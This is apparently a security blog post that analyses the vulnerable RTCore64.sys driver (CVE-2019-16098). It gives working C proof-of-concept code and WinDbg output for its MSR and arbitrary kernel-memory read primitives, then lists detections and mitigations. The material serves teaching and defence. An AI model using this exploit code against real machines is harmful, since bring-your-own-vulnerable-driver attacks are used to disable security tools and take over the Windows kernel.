- Introduction
- Arbitrary R-What??
- Case Study: RTCore64.sys
- PoC||GTFO
- Detections
- Mitigations
- Conclusion
- References
Introduction
Driver exploitation and Bring Your Own Vulnerable Driver (BYOVD) is not a new topic by any means. For the past few years, BYOVD has been a popular technique leveraged by threat actors and red teams to kill EDR processes, modify kernel data structures EDRs rely on to collect telemetry, and much more. Besides this technique being used by threat actors, it is also popular among game hackers where vulnerable drivers are leveraged to load kernel-mode cheats that evade anti-cheat software.
In this post, I will dive into a relatively simple example of a vulnerable driver with an arbitrary RW primitive, walking through the step-by-step process of locating the vulnerabilities and leveraging them in a proof-of-concept manner. In future blog posts, I will dive into post-exploitation tactics that weaponize these vulnerabilities.
Arbitrary R-What??
A popular vulnerability that exists in Windows drivers is arbitrary reads/writes (RW). This just means that an attacker can read and write to (almost) any given memory region. I say “almost” because there are limitations to this vulnerability, such as Kernel Patch Protection (KPP)/”PatchGuard,” that aim to preserve the integrity of the kernel by checking sensitive data structures for changes and triggering a BSOD if they are manipulated.
I will not cover patch guard or other mitigations in this post, but it’s important to understand they exist moving forward.
Case Study: RTCore64.sys
RTCore64 is an MSI Afterburner driver designed to interact with GPU hardware. Version 4.6.2.15658 suffers from an arbitrary RW of MSRs, I/O ports, and memory. The driver was assigned CVE-2019-16098. Let’s take a closer look at these vulnerabilities and how we can exploit them!
Static Analysis
Unlike normal executables whose entry point is the main()
function, drivers use the DriverEntry
function as their entrypoint.
The DriverEntry
function is responsible for creating the device object and symbolic link for communication alongside a dispatch table containing an array of entry points for the driver’s dispatch routines.
typedef struct _DRIVER_OBJECT {
CSHORT Type;
CSHORT Size;
PDEVICE_OBJECT DeviceObject;
ULONG Flags;
PVOID DriverStart;
ULONG DriverSize;
PVOID DriverSection;
PDRIVER_EXTENSION DriverExtension;
UNICODE_STRING DriverName;
PUNICODE_STRING HardwareDatabase;
PFAST_IO_DISPATCH FastIoDispatch;
PDRIVER_INITIALIZE DriverInit;
PDRIVER_STARTIO DriverStartIo;
PDRIVER_UNLOAD DriverUnload;
PDRIVER_DISPATCH MajorFunction[IRP_MJ_MAXIMUM_FUNCTION + 1]; // <-- this
} DRIVER_OBJECT, *PDRIVER_OBJECT;
This dispatch table is important as its index values represent IRP major function codes. This is exactly how we will interact with the target driver.
I/O Request Packets
I/O Request Packets, or “IRPs,” are essentially just instructions for the driver. Drivers will handle the IRP based on the specified major function code. There are a number of different major function codes, but the most common you will see are IRP_MJ_CREATE
, IRP_MJ_CLOSE
, and IRP_MJ_DEVICE_CONTROL
. In IDA, we will see these as decimal values 0, 2, and 14 respectively, but we can change them to their proper enum (’M’ keyboard shortcut).
Before:
After:
The major function dispatch routine we are most interested in is IRP_MJ_DEVICE_CONTROL
since this is where the IOCTLs (I/O Control Codes) will be defined. Let’s have a look at this function pointer (sub_11450
):
This function lists a number of IOCTLs in a large switch case statement.
In this driver, we are interested in 3 different IOCTLs which provide their own unique primitives.
MSR Read Primitive
The first interesting IOCTL is 0x80002030
which allows reading from a model-specific register (MSR) register defined by a user-defined buffer. MSRs can be read via the rdmsr assembly instruction, which is exactly what this IOCTL does. Microsoft provides a “function” (__readmsr) that inserts the assembly instruction in a compiled driver. In this case, a user has control over the MSR to read.
If you are following along in IDA, the “user-defined buffer” part probably won’t make sense since IDA displays the parameter to __readmsr()
as a pointer to MasterIrp->Type
???
To fix this, we need to go to line 28, press ALT+Y (or right-click the line → select “Select union field”) to correct MasterIrp
to (int *)a2->AssociatedIrp.SystemBuffer
. While we’re at it, we’ll also rename the variable to systemBuffer
.
This MSR read primitive is significant because it allows us to read any MSR, including the Long System Target-Address Register (LSTAR). LSTAR contains the virtual address to which the CPU will jump when a syscall instruction is executed in user-mode (this usually points to nt!KiSystemCall64
or nt!KiSystemCall64Shadow
). We can leverage this MSR read primitive to effectively leak the Ntoskrnl.exe
base address which is essential to further our attack with a read and write primitive to kernel memory (kASLR will prevent us from using static addresses in the kernel, hence why we need this primitive).
For some reason, you’ll find that other blogs covering the vulnerabilities in this driver may skip over this IOCTL. This is likely because the driver may be exploited from a medium integrity or higher environment (for BYOVD purposes) as opposed to a low-integrity environment for privilege escalation. Instead, most exploits rely on EnumDeviceDrivers to derive the base address of Ntoskrnl.exe
.
Regardless, I figured this is important to point out to understand how the driver can be exploited in both scenarios.
To leverage this primitive, we can use the following code to make the IOCTL request and retrieve the nt!KiSystemCall64Shadow address:
#include <Windows.h>
#include <stdint.h>
#include <stdio.h>
...snip...
static const DWORD RTCORE_READMSR_IOCTL = 0x80002030;
static const wchar_t* DEVICE_NAME = L"\\\\.\\RTCore64";
static const DWORD LSTAR_MSR = 0xc0000082;
int main(int argc, char* argv[]) {
HANDLE RTCORE_DEVICE = CreateFile(
DEVICE_NAME,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
RTCORE_MSR_READ MsrRead;
MsrRead.Register = LSTAR_MSR;
DWORD BytesReturned;
DeviceIoControl(
RTCORE_DEVICE,
RTCORE_READMSR_IOCTL,
&MsrRead,
sizeof(MsrRead),
&MsrRead,
sizeof(MsrRead),
&BytesReturned,
NULL
);
// LSTAR + ntoskrnl base
DWORD64 lstar_value = ((uint64_t)MsrRead.ValueHigh << 32) | MsrRead.ValueLow;
printf("[+] LSTAR MSR (nt!KiSystemCall64Shadow): 0x%llx\n", lstar_value);
CloseHandle(RTCORE_DEVICE);
...snip...
}
Since nt!KiSystemCall64Shadow
is a function inside of ntoskrnl
, we can just get the offset (distance) and dynamically calculate the ntoskrnl base address without worrying about kASLR.
In this case, nt!KiSystemCall64Shadow
was loaded at 0xfffff80084bac200
and the NT base was loaded at 0xfffff80084000000
. The difference is 0xbac200
, so to get the NT base address, we just subtract 0xbac200
from the LSTAR MSR value.
DWORD64 kisystemcall64shadowOffset = 0xbac200; // ? nt!KiSystemCall64Shadow - nt
DWORD64 ntoskrnlBase = lstar_value - kisystemcall64shadowOffset;
printf("[+] ntoskrnl base: 0x%llx\n", ntoskrnlBase);
⚠️ NOTE: This offset and many others vary depending on the version of Windows you are on. It is important to always check in WinDbg.
Kernel Memory Read Primitive
The next interesting IOCTL is 0x80002048
. The disassembly may look daunting, so let’s break it down:
This IOCTL allows arbitrary reading of kernel memory by using an offset from the SystemBuffer.
First, it checks if the provided buffer is 48 bytes:
if ( (_DWORD)bufferLength == 48 )
Then, it interprets the input buffer as a QWORD and gets the element at index 1:
inputBuffer = *((_QWORD *)systemBuffer + 1);
Finally, a switch/case statement is made on the 6th element (7th item) in systemBuffer
(systemBuffer[6]
). This switch statement indicates whether to read 1, 2, or 4 bytes at a time (unsigned __int8, unsigned __int16, and _DWORD respectively).
switch ( systemBuffer[6] )
{
case 1:
systemBuffer[7] = *(unsigned __int8 *)((unsigned int)systemBuffer[5] + inputBuffer);
break;
case 2:
systemBuffer[7] = *(unsigned __int16 *)((unsigned int)systemBuffer[5] + inputBuffer);
break;
case 4:
systemBuffer[7] = *(_DWORD *)((unsigned int)systemBuffer[5] + inputBuffer);
break;
}
To send the data to the IOCTL properly, we need to construct a structure containing relevant members that will be interpreted by the IOCTL subroutine. Recalling the conditions in the subroutine, we know that the buffer we send needs to be 48 bytes, so we include several padding buffers that will be filled automatically to pass this condition. The other members: Address, ReadSize, are self-explanatory and will allow us to perform the arbitrary read operation. We also need to keep in mind that for the ReadSize
needs to be 1, 2 or 4 bytes.
struct RTCORE64_BUFFER
{
BYTE Pad0[8];
DWORD64 Address;
BYTE Pad1[8];
DWORD ReadSize;
DWORD Value;
BYTE Pad3[16];
};
With this, we can create “helper functions” that will let us read memory of different supported sizes so that we can easily read kernel data structures of different sizes. In this case, we’ll make functions to read WORDS (2 bytes), DWORDS (4 bytes), and QWORDS (8 bytes):
DWORD ReadMemoryWORD(HANDLE hDevice, DWORD64 Address) {
RTCORE64_BUFFER MemRead = { 0 };
MemRead.Address = Address;
MemRead.ReadSize = 2;
DWORD BytesReturned;
DeviceIoControl(
hDevice,
RTCORE_READ_IOCTL,
&MemRead,
sizeof(MemRead),
&MemRead,
sizeof(MemRead),
&BytesReturned,
NULL
);
return MemRead.Value & 0xffff;
}
DWORD ReadMemoryDWORD(HANDLE hDevice, DWORD64 Address) {
RTCORE64_BUFFER MemRead = { 0 };
MemRead.Address = Address;
MemRead.ReadSize = 4;
DWORD BytesReturned;
DeviceIoControl(
hDevice,
RTCORE_READ_IOCTL,
&MemRead,
sizeof(MemRead),
&MemRead,
sizeof(MemRead),
&BytesReturned,
NULL
);
return MemRead.Value;
}
DWORD64 ReadMemoryDWORD64(HANDLE hDevice, DWORD64 Address)
{
return ((DWORD64)ReadMemoryDWORD(hDevice, Address + 4) << 32) |
ReadMemoryDWORD(hDevice, Address);
}
Kernel Memory Write Primitive
The arbitrary memory write primitive is done via IOCTL 0x8000204c
.
You’ll notice that this write primitive looks very similar to the aforementioned read primitive. In this case, we can write 1, 2, or 4 bytes. It’s important to understand how to distinguish between a read and a write primitive. While these primitives look similar, it is clear that this is a write primitive since the pointer to the provided address is set to the value pointed to by the systemBuffer whereas the read primitive took a pointer to an arbitrary address and returned it back to the systemBuffer.
Since the conditions are the same, we’ll use the same RTCORE64_BUFFER
structure to send data to this IOCTL.
Writing arbitrary memory is almost the same as reading it. At this time, I will not cover writing arbitrary memory as I will be saving this primitive for my next blog post on post-exploitation. As an exercise I encourage you to try implementing the write primitive on your own without looking at existing PoCs.
Individually, these primitives offer their own unique capabilities that are not useful in isolation but when combined, they give an attacker great leverage over the Windows kernel and its data structures that can be abused to elevate privileges and bend the “source of truth” security products and analysts rely on for incident response procedures.
PoC||GTFO
As a proof of concept, we’ll read an arbitrary address which in this case will be the “ImageFileName” field from the EPROCESS structure for the “System” process (the kernel) via the read primitive in RTCore64.
We’ll do this by getting the base address of the kernel (via the LSTAR MSR), then the offset to PsInitialSystemProcess
(to get it’s virtual address), then read a DWORD64 (QWORD) pointer at the PsInitialSystemProcess
address, which points to the EPROCESS
structure of the “System” process, add the offset of the ImageFileName
field and finally, read another QWORD representing this value.
This process looks like this in WinDbg:
// Read LSTAR MSR
0: kd> rdmsr 0xc0000082
msr[c0000082] = fffff804`eb3ac200
// Get offset from ntoskrnl
0: kd> ? nt!KiSystemCall64Shadow - nt
Evaluate expression: 12239360 = 00000000`00bac200
// Derive ntoskrnl base address from LSTAR offset
0: kd> ? fffff804`eb3ac200 - 00000000`00bac200
Evaluate expression: -8774978895872 = fffff804`ea800000
// Confirm that we indeed got the correct ntoskrnl base address
0: kd> lm m nt
Browse full module list
start end module name
fffff804`ea800000 fffff804`ebc4f000 nt (pdb symbols) C:\ProgramData\Dbg\sym\ntkrnlmp.pdb\E6426A07C26E66F8EB8594621A7B273B1\ntkrnlmp.pdb
// Get offset of PsInitialSystemProcess
0: kd> ? nt!PsInitialSystemProcess - nt
Evaluate expression: 16538280 = 00000000`00fc5aa8
// Get real nt!PsInitialSystemProcess address
0: kd> ? nt + 0xfc5aa8
Evaluate expression: -8774962357592 = fffff804`eb7c5aa8
0: kd> ? nt!PsInitialSystemProcess
Evaluate expression: -8774962357592 = fffff804`eb7c5aa8
// Read QWORD pointer to EPROCESS structure of ntoskrnl (0xffffe60d276b1040)
0: kd> dq nt!PsInitialSystemProcess L1
fffff804`eb7c5aa8 ffffe60d`276b1040
// Confirm offset (0x338) to "ImageFileName" field from EPROCESS struct for ntoskrnl
// Read the value
0: kd> dt _EPROCESS ffffe60d`276b1040 -y ImageFileName
nt!_EPROCESS
+0x338 ImageFileName : [15] "System"
0: kd> db ffffe60d`276b1040+0x338
ffffe60d`276b1378 53 79 73 74 65 6d 00 00-00 00 00 00 00 00 00 02 System..........
ffffe60d`276b1388 00 00 00 00 00 00 00 00-10 55 69 27 0d e6 ff ff .........Ui'....
ffffe60d`276b1398 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffe60d`276b13a8 00 00 ff ff ff 7f 00 00-f8 35 72 27 0d e6 ff ff .........5r'....
ffffe60d`276b13b8 b8 d5 89 2c 0d e6 ff ff-98 00 00 00 00 00 00 00 ...,............
ffffe60d`276b13c8 05 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffe60d`276b13d8 00 00 00 00 00 00 00 00-b4 00 00 00 00 00 00 00 ................
ffffe60d`276b13e8 03 17 00 00 00 00 00 00-df 91 01 00 00 00 00 00 ................
We can do this programmatically like so:
int main(int argc, char* argv[]) {
HANDLE RTCORE_DEVICE = CreateFile(
DEVICE_NAME,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
RTCORE_MSR_READ MsrRead;
MsrRead.Register = LSTAR_MSR;
DWORD BytesReturned;
DeviceIoControl(
RTCORE_DEVICE,
RTCORE_READMSR_IOCTL,
&MsrRead,
sizeof(MsrRead),
&MsrRead,
sizeof(MsrRead),
&BytesReturned,
NULL
);
// LSTAR + ntoskrnl base
DWORD64 lstar_value = ((uint64_t)MsrRead.ValueHigh << 32) | MsrRead.ValueLow;
printf("[+] LSTAR MSR (nt!KiSystemCall64Shadow): 0x%llx\n", lstar_value);
// CHANGE THIS FOR YOUR WINDOWS VERSION
DWORD64 kisystemcall64shadowOffset = 0xbac200; // ? nt!KiSystemCall64Shadow - nt
DWORD64 ntoskrnlBase = lstar_value - kisystemcall64shadowOffset;
printf("[+] ntoskrnl base: 0x%llx\n", ntoskrnlBase);
// PsInitialSystemOffset
DWORD64 PsInitialSystemProcessOffset = GetFunctionOffsetFromNtoskrnl("PsInitialSystemProcess");
DWORD64 PsIntitialSystemProcessVA = ntoskrnlBase + PsInitialSystemProcessOffset;
printf("[+] PsInitialSystemProcess address: 0x%016llx\n", PsIntitialSystemProcessVA);
// Static offset (Win11 24H2)
// CHANGE THIS FOR YOUR WINDOWS VERSION
int offsetImageFileName = 0x338;
DWORD64 SystemEPROCESSAddress = ReadMemoryDWORD64(RTCORE_DEVICE, PsIntitialSystemProcessVA);
DWORD64 SystemImageFileNameAddress = SystemEPROCESSAddress + offsetImageFileName;
printf("[+] System EPROCESS address: 0x%016llx\n", SystemEPROCESSAddress);
printf("[+] System ImageFileName address: 0x%016llx\n", SystemImageFileNameAddress);
DWORD64 SystemImageFileNameValue = ReadMemoryDWORD64(RTCORE_DEVICE, SystemImageFileNameAddress);
printf("[INFO] 0x%016llx: \"%s\"\n", SystemImageFileNameAddress, PrintQwordPtrAsString(SystemImageFileNameValue));
CloseHandle(RTCORE_DEVICE);
return 0;
}
which gives us the following output:
Excellent! We’ve successfully leveraged our read primitive!
Here is the full PoC code:
#include <Windows.h>
#include <stdint.h>
#include <stdio.h>
static const DWORD RTCORE_READ_IOCTL = 0x80002048;
static const DWORD RTCORE_WRITE_IOCTL = 0x8000204c;
static const DWORD RTCORE_READMSR_IOCTL = 0x80002030;
static const wchar_t* DEVICE_NAME = L"\\\\.\\RTCore64";
static const DWORD LSTAR_MSR = 0xc0000082;
typedef struct RTCORE_MSR_READ {
DWORD Register;
DWORD ValueHigh;
DWORD ValueLow;
} RTCORE_MSR_READ;
typedef struct RTCORE64_BUFFER
{
BYTE Pad0[8];
DWORD64 Address;
BYTE Pad1[8];
DWORD ReadSize;
DWORD Value;
BYTE Pad3[16];
} RTCORE64_BUFFER;
DWORD ReadMemoryWORD(HANDLE hDevice, DWORD64 Address) {
RTCORE64_BUFFER MemRead = { 0 };
MemRead.Address = Address;
MemRead.ReadSize = 2;
DWORD BytesReturned;
DeviceIoControl(
hDevice,
RTCORE_READ_IOCTL,
&MemRead,
sizeof(MemRead),
&MemRead,
sizeof(MemRead),
&BytesReturned,
NULL
);
return MemRead.Value & 0xffff;
}
DWORD ReadMemoryDWORD(HANDLE hDevice, DWORD64 Address) {
RTCORE64_BUFFER MemRead = { 0 };
MemRead.Address = Address;
MemRead.ReadSize = 4;
DWORD BytesReturned;
DeviceIoControl(
hDevice,
RTCORE_READ_IOCTL,
&MemRead,
sizeof(MemRead),
&MemRead,
sizeof(MemRead),
&BytesReturned,
NULL
);
return MemRead.Value;
}
DWORD64 ReadMemoryDWORD64(HANDLE hDevice, DWORD64 Address)
{
return ((DWORD64)ReadMemoryDWORD(hDevice, Address + 4) << 32) |
ReadMemoryDWORD(hDevice, Address);
}
char* PrintQwordPtrAsString(DWORD64 value) {
char buf[9]; // 8 chars + null terminator
for (int i = 0; i < 8; i++) {
buf[i] = (value >> (i * 8)) & 0xFF;
}
buf[8] = '\0';
return buf;
}
// Thanks @EricEsquivel :)
DWORD64 GetFunctionOffsetFromNtoskrnl(char* FunctionName)
{
HMODULE Ntoskrnl = LoadLibraryA("ntoskrnl.exe");
DWORD64 GetFunctionOffset = (DWORD64)(GetProcAddress(Ntoskrnl, FunctionName)) - (DWORD64)Ntoskrnl;
printf("[+] %s offset from Ntoskrnl base: 0x%llx\n", FunctionName, GetFunctionOffset);
FreeLibrary(Ntoskrnl);
return GetFunctionOffset;
}
int main(int argc, char* argv[]) {
HANDLE RTCORE_DEVICE = CreateFile(
DEVICE_NAME,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
RTCORE_MSR_READ MsrRead;
MsrRead.Register = LSTAR_MSR;
DWORD BytesReturned;
DeviceIoControl(
RTCORE_DEVICE,
RTCORE_READMSR_IOCTL,
&MsrRead,
sizeof(MsrRead),
&MsrRead,
sizeof(MsrRead),
&BytesReturned,
NULL
);
// LSTAR + ntoskrnl base
DWORD64 lstar_value = ((uint64_t)MsrRead.ValueHigh << 32) | MsrRead.ValueLow;
printf("[+] LSTAR MSR (nt!KiSystemCall64Shadow): 0x%llx\n", lstar_value);
DWORD64 kisystemcall64shadowOffset = 0xbac200; // ? nt!KiSystemCall64Shadow - nt
DWORD64 ntoskrnlBase = lstar_value - kisystemcall64shadowOffset;
printf("[+] ntoskrnl base: 0x%llx\n", ntoskrnlBase);
// PsInitialSystemOffset
DWORD64 PsInitialSystemProcessOffset = GetFunctionOffsetFromNtoskrnl("PsInitialSystemProcess");
DWORD64 PsIntitialSystemProcessVA = ntoskrnlBase + PsInitialSystemProcessOffset;
printf("[+] PsInitialSystemProcess address: 0x%016llx\n", PsIntitialSystemProcessVA);
// Static offset (Win11 24H2)
// CHANGE THIS FOR YOUR WINDOWS VERSION
int offsetImageFileName = 0x338;
DWORD64 SystemEPROCESSAddress = ReadMemoryDWORD64(RTCORE_DEVICE, PsIntitialSystemProcessVA);
DWORD64 SystemImageFileNameAddress = SystemEPROCESSAddress + offsetImageFileName;
printf("[+] System EPROCESS address: 0x%016llx\n", SystemEPROCESSAddress);
printf("[+] System ImageFileName address: 0x%016llx\n", SystemImageFileNameAddress);
DWORD64 SystemImageFileNameValue = ReadMemoryDWORD64(RTCORE_DEVICE, SystemImageFileNameAddress);
printf("[INFO] 0x%016llx: \"%s\"\n", SystemImageFileNameAddress, PrintQwordPtrAsString(SystemImageFileNameValue));
CloseHandle(RTCORE_DEVICE);
return 0;
}
Detections
BYOVD is a commonly-used technique among threat actors, so it’s important to know how to defend against them. In terms of detections, the following logic can be used:
- Known vulnerable driver written to disk and/or loaded
- This one is quite obvious and there is a chance that your EDR vendor already has detections surrounding vulnerable drivers being written to disk and/or being loaded. If not, you can observe PE file write events and/or driver load events and alert where the hash of the suspected driver matches that of a known vulnerable driver (from LOLDrivers and/or your own curated list).
- Driver loaded with rare certificate
- This detection, in my opinion, is probably the most valuable in that it does not rely on known vulnerable drivers. It’s not every day that you see new drivers being loaded in your environment. It is up to your team to determine what drivers are normal/approved on corporate systems. This, among the aforementioned detections can tip a SOC team on potential driver exploitation activity even if the exploit is not known.
Mitigations
- Microsoft vulnerable driver block list
- Microsoft maintains a “block list” that can be enabled to prevent the loading of known vulnerable drivers. The downside is you have to wait for Microsoft to update this blocklist, which will not work in the case of a 0-day being exploited. At the time of this writing, I am aware of several vulnerable drivers that are NOT on Microsoft’s vulnerable driver block list. This brings us to the next mitigation.
- Custom WDAC blacklist
- Windows Defender Application Control (WDAC) is a feature that allows Administrators to block applications based on several related attributes of the application such as their hash, code signing certificates, file name(s), repuation, the identity running the application, etc. The details of WDAC are out of scope for this blog, but if you’d like to learn more about it, Jonathan Beierle has an excellent blog explaining it in-depth. Microsofts’ vulnerable driver block list and LOLdrivers may not cover every vulnerable driver out there, so you can leverage WDAC to manually block vulnerable drivers without waiting for the block list to be updated.
Conclusion
While this wasn’t an exhaustive guide to exploiting arbitrary RW primitives, I hope this post at least demystified a little bit of the process of spotting Windows kernel driver vulnerabilities and exploiting them. Cheers!
References
- CVEdetails.com - CVE-2019-16098
- Uninformed vol. 3 - Processor MSRs
- Living Off The Land Drivers (LOLDrivers)
- Microsoft Vulnerable Driver Blocklist
- Jonathan Beierle - Windows Defender Application Control (WDAC) - Powerful and Persistent Host-Based Protection
- Barakat’s Github: CVE-2019-16098.cpp
- hfiref0x’ Github: rtcore.cpp